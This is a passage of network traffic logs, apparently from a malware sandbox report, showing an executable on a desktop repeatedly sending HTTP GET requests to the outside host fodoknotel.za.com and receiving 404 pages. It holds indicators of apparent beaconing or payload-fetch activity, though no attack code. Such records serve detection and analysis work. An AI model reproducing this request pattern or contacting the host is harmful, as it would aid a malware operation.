"-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50174	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:23 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:23 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:23 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:23 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50176	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:24 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:24 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:24 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:24 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50178	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:25 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:25 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:25 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:25 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50180	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:26 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:26 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:26 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:26 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50182	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:27 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:27 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:27 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:27 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50184	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:28 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:28 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:28 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:28 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50186	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:29 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:29 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:29 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:29 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50188	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:29 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:30 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:30 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:30 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	50190	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:30 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:31 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:31 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:31 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	50192	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:32 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:32 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:32 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:32 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	50194	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:32 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:33 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:33 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:33 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	50196	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:33 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:33 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:33 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:33 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	50198	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:34 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:34 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:34 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:34 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	50200	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:35 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:35 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:35 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
